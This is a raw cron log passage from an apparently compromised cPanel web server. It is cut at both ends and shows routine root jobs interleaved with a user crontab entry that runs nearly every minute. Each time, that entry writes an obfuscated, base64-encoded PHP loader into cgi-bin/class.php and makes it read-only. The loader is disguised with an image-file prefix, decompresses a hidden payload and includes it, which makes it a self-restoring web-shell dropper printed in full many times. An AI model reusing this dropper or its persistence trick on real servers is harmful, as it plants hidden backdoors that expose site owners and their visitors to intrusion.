pO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:40:01 server CROND[27068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:40:01 server CROND[27069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 11:41:01 server CROND[27174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:42:01 server CROND[27330]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 11:42:01 server CROND[27331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:43:01 server CROND[27379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:44:01 server CROND[27419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:45:01 server CROND[27470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:45:01 server CROND[27471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:45:01 server CROND[27472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:46:01 server CROND[27595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:47:01 server CROND[27745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:48:01 server CROND[27812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:49:02 server CROND[27868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:50:01 server CROND[27930]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 11:50:01 server CROND[27932]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:50:01 server CROND[27933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:50:01 server CROND[27934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 11:50:01 server CROND[27935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:51:01 server CROND[28043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:52:01 server CROND[28088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:53:01 server CROND[28234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:54:01 server CROND[28282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 